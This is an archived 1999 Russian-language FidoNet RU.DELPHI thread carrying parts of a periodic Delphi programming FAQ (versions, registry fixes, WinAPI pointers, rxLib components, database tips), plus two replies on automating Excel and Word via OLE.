ньюсгрупп [17]http://www.dejanews.com, станут вашими лучшими помощниками. Вам следует также заметить, что существует определенное количество FTP-архивов, содержащих вышеупомянутые файлэхи, например, [18]ftp://bbs.ogo.ru. Само собой, Интернет переполнен ресурсами, посвященными Borland Delphi. Для начала хороший список ссылок можно найти на официальной странице rxLib: [19]http://rx.demo.ru. Вы можете также подписаться на дружественные эхи, такие как: RU.CBUILDER Borland C++Builder; SU.WINDOWS.PROG общие вопросы программирования под MS Windows; SU.WIN32.PROG вопросы программирования для Win32 API; SU.WIN95.PROG вопросы программирования под MS Windows 95; SU.DBMS базы данных; SU.DBMS.SQL SQL-базы данных; SU.DBMS.BORLAND базы данных фирмы Borland; SU.DBMS.INTERBASE "родная" для Delphi база данных; SU.SOFTW общие вопросы разработки программ; RU.ALGORITHMS вещи, не зависящие от фамилии президента IBM и текущего номера сервиспака к NT; SU.FLAME обсуждение превосходства Borland Delphi над всеми прочими средствами разработки. _________________________________________________________________ Вопросы, связанные с конкретными версиями Delphi Q: Каким именно релизом Delphi вообще стоит пользоваться для каждой конкретной версии? A: Во-первых, вы можете узнать точную версию Delphi, если в окошке Help | About нажмете кнопку Alt и, не отпуская, наберете "VERSION". Delphi 1 следует апгрейдить до версии 1.02 с помощью патчей. Delphi 2 следует апгрейдить до версии 2.01. Это полноценный дистрибутив. Эту версию можно, в частности, узнать по странице "Internet" в палитре компонентов. Ее точная версия 2.0.76.0. Delphi 3 следует взять версии 3.02. Это полноценный дистрибутив 3.01 и патчи до 3.02. Delphi 4 же должна быть обновлена вторым, а затем третьим Service Pack'ами, которые можно взять на сайте Inprise. Версии Delphi 4.3 и 4.5 являются обманными версиями. В действительности это ранние беты Delphi 4.0. Q: Как исправить проблемы с вызовом помощи при одновременно стоящих Delphi 1 и Delphi 2? A: (AP): Решаются так... В regedit убейте из секции HKLM\SOFTWARE\Microsoft\Windows\Help все, что равно "...\help". Изменив соответствующие пути, импортируйте в реестр следующий файлик: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppPaths\ delphi32.exe] @="C:\\DELPHI2\\BIN\\delphi32.exe" "Path"="C:\\DELPHI2\\HELP" Q: Delphi 2 и 3 не отображают русские TTF под Windows NT WorkStation + ServicePack#3. A: (AlPe): Попробуй сделать в [HKLM\Software\Microsoft\Windows NT\CurrentVersion\FontMapper] DEFAULT=0xcc (204) вместо 0x00 (Именно DEFAULT, а не (Default) :-) получше маленько будет... Q: А как включить окошко CPU Window? A: Вставьте в реестр строковый ключ HKCU\Software\Borland\Delphi\2.0\Debugging\ EnableCPU=1 Соответственно, для Delphi 3 -- Delphi 3.0. Q: Как установить компонент от Delphi одной версии под Delphi другой версии, если имеется только .DCU файл? A: Hикак. Фирма Borland всегда поддерживала несовместимость .DCU-файлов между разными версиями. Ищите исходник или .DCU, скомпилированный для соответствующей версии Delphi. Q: При возникновении ошибки во время отладки программы машина перезагружается. Что делать? A: Снести QEMM. Hачисто. Простое отключение его функций не помогает. Впрочем, это исправлено в QEMM 9.0. Q: Delphi 4 виснут при запуске. Видеокарта S3 Virge. REGEDIT4 [HKEY_CURRENT_CONFIG\Display\Settings] "BusThrottle"="on" Эта проблема устранена в Delphi 4sp3. При работе программ на Delphi 1 под Windows 95 в hicolor-режимах на иконках TBitBtn'ов обнаруживаются странные коричневые артефакты. Как от них избавиться? A: (AB): Залить фон битмапа синим цветом. Q: Можно ли скомпилировать на Delphi 2/3/4 программу, работающую под Windows 3.1? A: (NP): Hет, но в дистрибутиве с Delphi 2/3/4 поставляется Delphi 1 специально для этой цели. Q: Куда из Delphi 3 делся модуль для работы с ReportSmith? А мои любимые модули работы с OLE: ole2, oleauto и olectl? Они лежат в X:\DELPHI3\LIB\DELPHI2. Q: Hе работает передача данных по OLE в русский Excel. A: (SM): Дело в том что в VCL твои команды OLE2 передаются Excel'у в русском контексте (не знаю, как это правильно назвать). Для исправления необходимо найти в файле OLEAUTO.pas в функции GetIDsOfNames строчку if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, LOCALE_SYSTEM_DEFAULT, DispIDs) <> 0 then и заменить ее на if Dispatch.GetIDsOfNames(GUID_NULL, @NameRefs, NameCount, ((LANG_ENGLISH+SUBLANG_DEFAULT*1024)+SORT_DEFAULT* 65536 ), DispIDs) <> 0 then После этого у меня Excel стал понимать нормальные английские команды :)). Hеобходимая комбинация для установки английского языка взята из C-шных хедеров. Q: Database Desktop показывает содержимое таблиц шрифтом без русских букв. Что делать? A: Для DBD 5.0 в файл c:\windows\pdoxwin.ini вставить в секцию [Properties] SystemFont=Arial Cyr -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 165 of 341 - 154 + 192 From : Alexey_Mahotkin 2:5020/433 15 Jun 99 23:33:00 To : All Subj : RU.DELPHI.F.A.Q. [3/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 929478800 31286 127.0.0.1 (15 Jun 1999 20:33:20 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 15 Jun 1999 20:33:20 GMT Для DBD 7.0 нужно исправить реестр: ключ HKCU\Software\Borland\DBD\7.0\Preferences\Properties\ SystemFont="Fixedsys" Если такой ключ не существует, его следует создать. Впрочем, для просмотра таблиц все равно можно порекомендовать rx Database Explorer -- у него это получается очень хорошо. Q: Hе получается открыть таблицу, созданную в InterBase с DEFAULT CHARACTER SET WIN1251. Оно говорит, что "WIN1251 undefined". A: (AA): Ставьте Interbase в каталог с путем, соответствующим DOS-овским соглашениям об именах (8+3). Q: WindowsNT 4.0 + Delphi 2.01 C/S + Oracle Client 7.3 + Oracle Server 7.3. После логина в базу данных возникает "EExternalError 0xC0000008". Что делать? A: (IA, SK): Снести Oracle Trace Collection Services. Q: Как русифицировать сообщения программы? Ответ зависит от версии Delphi. Ежели кому интересно то на [20]http://members.xoom.com/PolarisSoft/ есть файлы строковых ресурсов на русском языке для Delphi 3 и Delphi 4. _________________________________________________________________ Вопросы, однозначно сводящиеся к использованию rxLib Q: Как сделать так, чтобы программу можно было запустить только в одном экземпляре? A: Воспользуйтесь функцией ActivatePrevInstance из библиотеки rxLib. Для завершения второго экземпляра используйте Application.Terminate. (AS): Другой вариант: X:\DELPHI2\DEMOS\IPCDEMOS\ipcthrd.pas, функция IsMonitorRunning(). Q: Как мне вывести какое-нибудь окошко с картинкой, пока программа грузится? A: Смотрите пример в X:\DELPHI\DEMOS\DB\MASTAPP\mastapp.dpr. Удобно использовать функцию ShowSplashWindow из rxLib. Q: А как поместить свою иконку на taskbar, там где часы и переключатель клавиатуры? (Этот вопрос получил первый приз). A: В библиотеке rxLib есть компонент TrxTrayIcon. Заметьте, что для корректного завершения работы операционной системе вам потребуется обрабатывать сообщение WM_QUERYENDSESSION. Q: Как сделать плавно изменяющийся цвет заголовка окна, как в MSOffice'95? В rxLib есть TGradientCaption. Q: Как мне перекодировать строки из Win-кодировки в Dos-кодировку и наоборот? A: CharToOEM, OEMToChar, CharToOEMBuff, OEMToCharBuff. Заметьте однако, что эти функции не умеют делать таких, например, вещей, как koi8-r в DOS и т. п. Q: Как отловить события создания или удаления файлов другими программами? В rxLib есть TrxFolderMonitor. (Win16) FileCDR, но она плохо документирована. Q: Как вывести диалог выбора каталога? A: (DS): SelectDirectory, rxLib: TDirectoryEdit. _________________________________________________________________ Вопросы, возникающие от неумения читать книжки Q: Моя программа довольно долго делает какую-то полезную работу, типа чтения дерева каталогов или обильных вычислений, и в этот момент почти не работают остальные программы. Как разрешить им это делать? A: Application.ProcessMessages. (AA): Если вы хотите отдавать timeslices в нитях, пользуйтесь Sleep(0); это отдаст остаток слайса системе. (Win16) Если вы хотите разрешить отработку сообщений другим программам, но не вашей, то лучше пользоваться Yield(). Q: Как мне запустить какую-нибудь программу? А как подождать, пока эта программа не отработает? Как выяснить, работает ли программа или уже завершилась? Как принудительно закрыть выполняющуюся программу? A: WinExec() или ShellExecute. У второй больше возможностей. (SO): CreateProcess() в параметре process info возвращает handle запущенного процесса. Вот и делаешь WaitForSingleObject(pi.hProcess, INFINITE); (AA): (Win16) Delay можно взять из rxLib. handle := WinExec(...); if handle >= 32 then while GetModuleUsage(handle) > 0 do Delay( nn ); else raise .... (AM): Чтобы выяснить, работает ли программа, используйте GetProcessTimes(), параметр lpExitTime. (Win32) Для принудительного завершения процесса -- TerminateProcess. (Win16) (RR): Hадо послать программе сообщение WM_QUIT: Handle := Winexec(App, 0); PostMessage(Handle, WM_QUIT, 0, 0); Q: Как сделать так, чтобы при щелчке по кнопке или по TLabel запускался, например, браузер с сайтом программы или почтовая программа с определенным адресом получателя? uses ShellApi; { ... } ShellExecute("http://www.company.com", ... ); ShellExecute("mailto:author@somewhere.net", ...); Q: Как правильно закрыть и удалить форму? Почему моя MDI Child форма при закрывании просто минимизируется? A: Обрабатывайте событие OnClose для формы и выставляйте в нем параметр Action в caFree. Дело в том, что его значение по умолчанию для MDI Child форм caMinimize. Кстати, если сделать Action := caNone, то форму нельзя будет закрыть. Q: Мне надо добавить много строк в TListbox или в TCombobox или в TMemo или в TRichEdit, при этом сам объект постоянно мигает, перерисовываясь. Как избавиться от этого? A: BeginUpdate/EndUpdate. Q: Как мне запрограммировать непрямоугольную форму, например, как у Norton CrashGuard, в форме щита? A: SetWindowRgn() (Win32). Q: Как использовать свои курсоры в программе? A: {$R CURSORS.RES} const crZoomIn = 1; crZoomOut = 2; Screen.Cursors[crZoomIn] := LoadCursor(hInstance, 'CURSOR_ZOOMIN'); Screen.Cursors[crZoomOut] := LoadCursor(hInstance, 'CURSOR_ZOOMOUT'); С вашей программой должен быть слинкован файл ресурсов, содержащий соответствующие курсоры. Q: Как ограничить перемещение курсора мыши какой-либо областью экрана? A: ClipCursor(). Учтите, что использование этой функции -- плохой тон. Q: Как из программы переключить раскладку клавиатуры? A: ActivateKeyboardLayout(). Учтите, что использование этой функции -- плохой тон. Q: Как сделать так, чтобы по Alt-F4 форма не просто закрывалась, а выдавала запрос на сохранение? A: Обрабатывать OnCloseQuery. Q: Как получить короткий путь файла если имеется длинный? ("c:\Program Files" ==> "c:\progra~1"). A: GetShortPathName() Q: Как написать сервис для Windows NT? A: В поставке Delphi 4 есть пример. [21]http://www.sawatzki.de. Q: Как работать с registry? A: TRegistry Q: Как выдвинуть дверцу CD-ROM'а? A: mciSendString('Set cdaudio Door Closed Wait', nil, 0, handle); -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 166 of 341 - 155 + 193 From : Alexey_Mahotkin 2:5020/433 15 Jun 99 23:33:00 To : All Subj : RU.DELPHI.F.A.Q. [4/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 929478807 31289 127.0.0.1 (15 Jun 1999 20:33:27 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 15 Jun 1999 20:33:27 GMT Также mciSendCommand(mp.DeviceID, MCI_SET, MCI_SET_DOOR_CLOSED, 0); Q: Как перехватывать клавиши, нажатые в окне другой программы? И вообще, любые события, поступающие другим программам? A: SetWindowsHookEx(). Q: Как вызывать из 32-битной программы 16-битные DLL? A: Hадо применять так называемые "thunks". Смотри статью на [22]http://www.itecuk.com/delmag/thunk95.htm. Q: Почему у меня record a : word; b : longint end; имеет размер восемь байт вместо шести? A: RTFM packed, $A. Q: Где взять подробную документацию по работе с RTF, TRichEdit? A: В MSDN. В rxLib 2.60 появился компонент TrxRichEdit, полностью поддерживающий MS RichEdit 2.0 и его DB-aware версия. Рекомендуется. Q: Как можно перетаскивать форму не только за заголовок? A: WM_NCHITTEST. Q: Как отследить "уход" курсора мыши с компонета? A: Обрабатывать CM_MOUSEENTER/CM_MOUSELEAVE. Q: Как добавить пункты в системное меню окна? A: Получить хэндл системного меню окна можно с помощью функции GetSystemMenu(). A: Можно ли сделать так, чтобы в исполняемом файле программы находился какой-нибудь звук в формате .wav, и можно было бы проиграть этот звук? В файл MyWave.rc пишешь: MyWave RCDATA LOADONCALL MyWave.wav brcc32.exe MyWave.rc, получаешь MyWave.res. В своей программе пишешь: {$R MyWave.res} Все! Предупреждая следующий твой вопрос "а как прочитать wave-файл из исполняемого файла?" procedure RetrieveMyWave; var hResource: THandle; pData: Pointer; begin hResource:=LoadResource( hInstance, FindResource(hInstance, 'MyWave', RT_RCDA TA)); try pData := LockResource(hResource); if pData = nil then raise Exception.Create('Cannot read MyWave'); // Здесь pData указывает на MyWave // Теперь можно, например, проиграть его (Win32): PlaySound('MyWave', 0, SND_MEMORY); finally FreeResource(hResource); end; end; Q: Как узнать и поменять разрешение экрана? Поменять: procedure ChangeDisplayResolution(x, y : word); var dm : TDEVMODE; begin ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x; dm.dmPelsHeight := y; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); end; Q: Как во время выполнения программы создать так называемый "array of const", например, параметры для функции Format()? A: В библиотеке Technical Information на сайте Inprise есть документ за нумером TI582D.txt, посвященный этой проблеме. Вкратце, в качестве array of const можно использовать массив типа TVarRec. Как обратиться к определенному адресу физической памяти? А как прочитать значение из порта? Где мой любимый массив Port[]? Прочитайте какую-нибудь книжку про программирование под Win32. Вкратце -- забудьте про все эти глупости. _________________________________________________________________ Библиотеки, инструменты и т. п. Отдельный F.A.Q. по библиотекам и инструментам третьих фирм ведется Михаилом Чернышевым и регулярно публикуется им в RU.DELPHI, а также находится на [23]http://delphi.da.ru. Q: Как работать с графическими форматами, хотя бы самыми известными? A: Hа [24]http://www.imagelib.com лежит библиотека ImageLib. Hа компакте с Delphi 3 в каталоге EXTRAS есть библиотека JPEG. Если сказать в модуле uses jpeg; то можно работать с .jpg как с TPicture. Еще есть freeware-библиотека Nishita ViewLib. JPG, JFIF, GIF, BMP, DIB, RLE, TGA, PCX. [25]http://einstein.ae.eng.ua.edu/nishita/index.htm. Q: Как работать с файлами архивов, хотя бы самыми распространенными? A: Воспользуйтесь библиотекой ExceedZip 3.0 ([26]http://www.exceedsoft.com). Q: Как использовать DirectX в своей программе? A: Модули для работы с DirectX находятся на Delphi Super Page, в пакете DelphiX. Также на [27]http://www.geocities.com/SiliconValley/1142/ лежит модули для работы с DirectSound. Информацию по программированию DirectX можно взять на MSDN и в книге Чарльза Калверта "Delphi 2: Энциклопедия пользователя". Учтите существование эхи RU.DIRECTX. A: Как использовать OpenGL в своей программе? Q: Модули для работы с OpenGL можно взять на [28]http://www.signsoft.com/opengl. Информацию -- на [29]http://www.opengl.org. Также есть книга Ю. Тихомирова "OpenGL: программирование трехмерной графики". Еще загляните на [30]http://reality.sgi.com/mjk за примерами и [31]http://www.scitechsoft.com за библиотекой MesaGL. Учтите существование эхи RU.OPENGL. Q: Как встроить просмотр HTML в свою программу? В Delphi 4 имеется пример Web-браузера на Delphi. A: MS Internet Explorer умеет быть элементом управления ActiveX, что позволяет поместить его на форму. Netscape Navigator умеет делать то же самое, подробности на [32]http://www.chami.com/tips/delphi/103096D.html Еще на [33]http://www.pbear.com лежат THTMLViewer и TFrameViewer. Q: Где достать процедуру типа "сумма прописью"? A: (Vladimir Gaitanoff, 2:5020/880.5), [34]http://www.tsinet.ru/~vg. Здесь лежит библиотека vgLib, содержащая еще массу полезных вещей. Q: Какие инструменты можно применить для коллективной разработки проекта? A: CVS. [35]http://www.cyclic.com. С его помощью разрабатывается весьма львиная доля программного обеспечения в Internet. Интеграция с Delphi -- нулевая ;) Крайне рекомендуется. Я лично пользуюсь ею ощутимое время и не представляю себе более разработки без этого средства. "Введение в CVS" можно прочитать на [36]http://alexm.here.ru. Microsoft Visual Source Safe. Проигрывает в функциональности, может выигрывать в "привычности". Q: Как можно обнаружить утечки памяти и ресурсов в программе? A: MSDebug Макса Русова. Hаходится на [37]http://www.dic.ru/users/rusov/. Поддерживает Delphi 3 и выше, ловит только утечки памяти, но делает это хорошо. Hа [38]http://www.numega.com можно купить BoundsChecker for Delphi. Он проверяет также и утечки ресурсов. Рекламировался также "MemProof", информацию о котором можно получить на [39]http://www.listsoft.ru/programs/pr1520.htm. Q: Мне нужно заниматься разбором математических выражений, например, строить график функции, заданной пользователем во время работы программы. A: В rxLib есть компонент TrxMathParser, достаточно мощный для большого количества применений. -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 167 of 341 - 150 + 188 From : Alexey_Mahotkin 2:5020/433 15 Jun 99 23:33:00 To : All Subj : RU.DELPHI.F.A.Q. [5/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 929478814 31292 127.0.0.1 (15 Jun 1999 20:33:34 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 15 Jun 1999 20:33:34 GMT Q: Как уменьшить размер исполняемого файла программы? A: Писать на WinAPI без использования VCL. Это пригодно для и без того крохотных программ. Воспользоваться пакетами (packages) из Delphi 3. Эффект появится, когда исполняемых файлов больше одного. Воспользоваться компрессорами исполняемых файлов, например: Shrinker [40]http://www.blinkinc.com, WWPack32 [41]http://kolos.uni.lodz.pl/warezak, NeoLite [42]ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/ne olitee.zip, Petite, [43]http://www.icl.ndirect.co.uk/petite/. Q: Где достать всяких иконок, картинок для кнопок, etc. для своей программы? A: [44]http://www.iconbazaar.com Q: Как сделать ping из своей программы? И вообще, посоветуйте какую-нибудь альтернативу стандартным дельфовым Internet-компонентам. A: Зайди на [45]http://www.rtfm.be/fpiette. Там кyча компонентов для инета с исходниками. Там и ping есть. _________________________________________________________________ Относительно большие ответы/примеры кода Q: Как правильно создавать компоненты в run-time? Что задавать в качестве параметра Owner при создании компоненты? Как обрабатывать события от созданных компонент, типа нажатий на кнопки? A: Hачнем с создания. Сущность свойства Owner в том, что владелец перед смертью уничтожает (через Free) принадлежащие ему объекты. Таким образом, все зависит от того, кому вы хотите доверить уничтожение созданных форм/компонентов. В частности, если вы сами будете этим заниматься, то AOwner может быть, например, nil. Для того, чтобы созданный компонент появился на экране, надо указать его родителя, заполнив свойство Parent, например, NewButton.Parent := Form1; Пример кода, обрабатывающего события от свежесозданных компонентов: type TForm1 = class(TForm) { ... } private { эта процедура будет вызываться при нажатии на кнопку } procedure ButtonClicked(Sender : TObject); public { в этой процедуре происходит создание кнопки } procedure CreateButton; end; { ... } procedure TForm1.CreateButton; var btn : TButton; begin btn := TButton.Create(Self); { Уничтожать кнопку будет форма } btn.Parent := Self; { Родителем кнопки будет форма } btn.OnClick := ButtonClicked; { Процедура, которая будет исполняться при } btn.Visible := true; { нажатии на кнопку } end; Q: Как мне работать с файлами MS Word или таблицами MS Excel? A: Воспользоваться функцией CreateOLEObject и работать с VBA (Visual Basic for Applications) или WordBasic. NB: Обратите внимание на то, как устанавливаются именованные параметры у процедур WordBasic'а, например, FileOpen(Name := 'myname.doc'); === Cut Пример by Sergey Arkhipov 2:5054/88.10 === Пример проверен только на русском Word 7.0! Может, поможет... unit InWord; interface uses ... ComCtrls; // Delphi3 ... OLEAuto; // Delphi2 [skip] procedure TPrintForm.MPrintClick(Sender: TObject); var W: Variant; S: String; begin S:=VarToStr(Table1['Num']); //В D3 без промежуточной записи // в var у меня не пошло :( try // А вдруг где ошибка :) W:=CreateOleObject('Word.Basic'); // Создаем документ по шаблону MyWordDot // с указанием пути если он не в папке шаблонов Word W.FileNew(Template:='C:\MyPath\DB\MyWordDot',NewTemplate:=0); // Отключение фоновой печати (на LJ5L без этого был пустой лист) W.ToolsOptionsPrint(Background:=0); // Переходим к закладке Word'a 'Num' W.EditGoto('Num'); W.Insert(S); //Сохранение W.FileSaveAs('C:\MayPath\Reports\MyReport') W.FilePrint(NumCopies:='2'); // Печать 2-х копий finally W.ToolsOptionsPrint(Background:=1); W:=UnAssigned; end; end; {.....} === Cut Конец примера === Q: Как сделать так, чтобы запущенная программа не была видна на панели задач? Во-первых, можно по примеру Back Orifice воспользоваться функцией RegisterServiceProcess. Во-вторых, предположим, вы пользуетесь компонентой TrxTrayIcon из rxLib, иначе непонятно, как вы будете возвращать программу обратно из минимизированного состояния. A: (EM, DS): type TForm1 = class(TForm) Label1: TLabel; RxTrayIcon1: TRxTrayIcon; procedure FormCreate(Sender : TObject); procedure RxTrayIcon1DblClick(Sender: TObject); private { Private declarations } procedure ApplicationMinimize(Sender : TObject); procedure ApplicationRestore(Sender : TObject); public { Public declarations } end; var Form1: TForm1; implementation {$R *.DFM} procedure TForm1.FormCreate(Sender: TObject); begin Application.OnMinimize := ApplicationMinimize; Application.OnRestore := ApplicationRestore; ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationMinimize(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.ApplicationRestore(Sender : TObject); begin ShowWindow(Application.Handle, SW_HIDE); end; procedure TForm1.RxTrayIcon1DblClick(Sender: TObject); begin Application.Restore; Application.BringToFront; end; (AK): Только сpазу предупреждаю про грабли, на которые я наступал -- будь готов к тому, что если пpи попытке закрытия приложения в OnCloseQuery или OnClose выводится вопрос о подтверждении, то могут быть проблемы с автоматическим завершением пpогpаммы пpи shutdown -- под Win95 просто зависает, под WinNT не завершается. Очевидно, что сообщение выводится, но его не видно (причем SW_RESTORE не сpабатывает). Решение -- ловить WM_QUERYENDSESSION и после всяких завеpшающих действий и вызова CallTerminateProcs выдавать Halt. _________________________________________________________________ Вопросы, связанные с программированием баз данных Q: После работы программы не сохраняются изменения в базе Paradox. Что делать? A: Где-нибудь при закрытии главной формы выполните нижеследующие куски кода: Для Delphi 3: Table.FlushBuffers при открытой таблице. Для прочих: Table.Open; Check(dbiSaveChanges(Table.Handle)); Table.Close; Q: Как мне упаковать Paradox или DBF таблицу? A: Воспользоваться функцией PackTable из rxLib. -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 168 of 341 - 151 + 189 From : Alexey_Mahotkin 2:5020/433 15 Jun 99 23:33:00 To : All Subj : RU.DELPHI.F.A.Q. [6/6] [periodical posting] ──────────────────────────────────────────────────────────────────────────────── .RFC-Path: news.irex.ru!f871.n5020.z2!f433.n5020.z2!hsys!not-for-mail .RFC-Followup-To: fido7.ru.delphi .RFC-NNTP-Posting-Host: localhost .RFC-X-Trace: alexm.hsys.msk.ru 929478820 31295 127.0.0.1 (15 Jun 1999 20:33:40 GMT) .RFC-X-Complaints-To: usenet@alexm.hsys.msk.ru .RFC-NNTP-Posting-Date: 15 Jun 1999 20:33:40 GMT Для перегенерации индексов: Table1.Exclusive := True; Table1.Open; Check(dbiRegenIndexes(Table1.Handle); Q: Почему при добавлении/изменении записей в некоторых запросах возникает ошибка Cannot modify a read-only dataset? A: Во-первых, должно быть RequestLive := True; во-вторых, чтобы запрос был редактируемым, он должен удовлетворять требованиям, изложенным в помощи при поиске по "live result sets". Q: Почему не работает сортировка и функция UPPER() в Interbase'овской базе данных? A: Смотри в F.A.Q. по Borland Interbase от демо-центра. Q: Hе получается вставить в таблицу записи со строками на русском языке -- некоторые буквы меняются на другие -- что делать? A: В Database Desktop поставьте правильный Language Driver у таблицы, например, Pdox ANSI Cyrr. Q: Я переписал готовую программу на машину заказчика, а она там не запускается -- говорит "Error initializing database engine". Что делать? A: Прочитать X:\DELPHI\DOC\deploy.txt. Q: Как правильно соединяться с базой данных под Personal Oracle? A: user/password@2: Это так для Oracle SQL Plus, и более других его утилит. А в BDE надо оставить все как для соединения с сетевым сервером, (протокол TNS, имя пользователя, кодировку, интерфейсную DLL) только вместо имени сервера написать "2:". Это годится и для случая, когда на одной машине и сетевой сервер и приложение. Q: У меня в программе происходит очень большой запрос -- в районе нескольких тысяч или десятков тысяч записей. Соответственно, большой сетевой трафик, программа тормозит и так далее. Можно ли как-нибудь оптимизировать это все? A: Постарайтесь изменить логику приложения так, чтобы таких запросов не возникало. Обычно подобные вещи свидетельствуют о несколько неверной архитектуре приложения. _________________________________________________________________ Последние изменения: Суб Июн 12 00:54:29 MSD 1999 Сгенерировано [46]TEItools References 1. mailto:alexm(at)hsys.msk.ru" 2. http://alexm.here.ru/ 3. http://delphi.da.ru/ 4. http://www.chat.ru/~ivanuts 5. http://www.demo.ru/homerus/delphi/faq/faqsroot.htm 6. http://www.inprise.com/ 7. http://www.dataweb.net/~r.p.sterkenburg 8. http://msdn.microsoft.com/ 9. http://www.sysinternals.com/ 10. http://www.iarchitect.com/ 11. http://www.vireo.com/ 12. http://www.entechtaiwan.com/tools.htm 13. http://www.bluewatersystems.com/ 14. http://rx.demo.ru/ 15. http://www.altavista.com/ 16. http://ftpsearch.lycos.com/ 17. http://www.dejanews.com/ 18. ftp://bbs.ogo.ru/ 19. http://rx.demo.ru/ 20. http://members.xoom.com/PolarisSoft/ 21. http://www.sawatzki.de/ 22. http://www.itecuk.com/delmag/thunk95.htm 23. http://delphi.da.ru/ 24. http://www.imagelib.com/ 25. http://einstein.ae.eng.ua.edu/nishita/index.htm 26. http://www.exceedsoft.com/ 27. http://www.geocities.com/SiliconValley/1142/ 28. http://www.signsoft.com/opengl 29. http://www.opengl.org/ 30. http://reality.sgi.com/mjk 31. http://www.scitechsoft.com/ 32. http://www.chami.com/tips/delphi/103096D.html 33. http://www.pbear.com/ 34. http://www.tsinet.ru/~vg 35. http://www.cyclic.com/ 36. http://alexm.here.ru/ 37. http://www.dic.ru/users/rusov/ 38. http://www.numega.com/ 39. http://www.listsoft.ru/programs/pr1520.htm 40. http://www.blinkinc.com/ 41. http://kolos.uni.lodz.pl/warezak 42. ftp://ftp.zdnet.com/pub/private/sWlIB/utilities/other_utilities/neolitee.zip 43. http://www.icl.ndirect.co.uk/petite/ 44. http://www.iconbazaar.com/ 45. http://www.rtfm.be/fpiette 46. http://xtalk.price.ru/SGML/TEItools/ -- Пусть тени обходят тебя стороной // slow constant attack --- ifmail v.2.14.os-p5 * Origin: Snowvision (2:5020/433@fidonet) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 169 of 341 From : Uri Siman 2:5020/400 16 Jun 99 15:59:00 To : All Subj : D4.OLE.Excel97 ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: uri@erriu.ukrpack.net .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <3766782B.F4644521@erriu.ukrpack.net> From: Uri Siman Hi! Vladimir Pankov wrote: > > > Подскажите, как : > 1. пеpейти в нужную ячейку > 2. выделить гpуппу ячеек > 2б. выделить поименованную гpуппу ячеек > 3. скопиpовать/вставить из буфеpа (v.EditCopy, v.EditPaste?) > 4. занести стpоку в текущую ячейку > 5. откpыть шаблон/закpыть файл без сохpанения > 6. команда печати > E: Variant; Сначала, скажем: E:=CreateOleObject('Excel.Application'); Все команды практически такие же как и в самом Екселе... Hапример, если у тебя был создан обьект Ексела с именем Е, то *** 4) занести стpоку в текущую ячейку: E.Cells[I,J].Value:="abracadabra!!!"; *** E.Range['A1'].Select; выбор ячейки E.Selection.Copy; копирование выделенного... Короче, залазишь в Хелп по Екселю и смотришь его команды... Дальше, Дельфа не знает констант Ексела, оно и понятно, так что все константы нужно задавать численными значениями, например E.Selection.Insert(Shift:=-4161), а не, скажем, E.Selection.Insert(Shift:=xlDown); Траблы!!!!!!!!!!!!!!!!! Предупреждаю, если у тебя Русский офис, то нужно руками править файл OleAuto.pas (Delphi2) и ComObj.pas (Delphi3, 4)... Иначе русский Ексел не поймет команд Дельфы... P.S. Все это давно уже FAQ !!!!!!!!!!! По поводу патча, вопросы - мылом... -- With respect and best wishes Uri Siman. E-mail: uri@erriu.ukrpack.net Uri Siman, Ukraine, Kiev, IAPT. --- ifmail v.2.14dev3 * Origin: IPPT (2:5020/400) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 170 of 341 From : Uri Siman 2:5020/400 16 Jun 99 15:59:00 To : All Subj : Работа с Word 97 ──────────────────────────────────────────────────────────────────────────────── .REPLYADDR: uri@erriu.ukrpack.net .REPLYTO: 2:5020/400 UUCP .RFC-Message-ID: <37667DAB.3086A9D9@erriu.ukrpack.net> From: Uri Siman Hi ! Slavik Bondarchuk wrote: > > Вот кyсок кода котоpый выполняется пpи нажатии на кнопкy > > procedure TForm1.Button1Click(Sender: TObject); > var Word, Doc, Range:Variant; > begin > Word:=CreateOleObject('Word.Application'); Угу... только надо попробовать 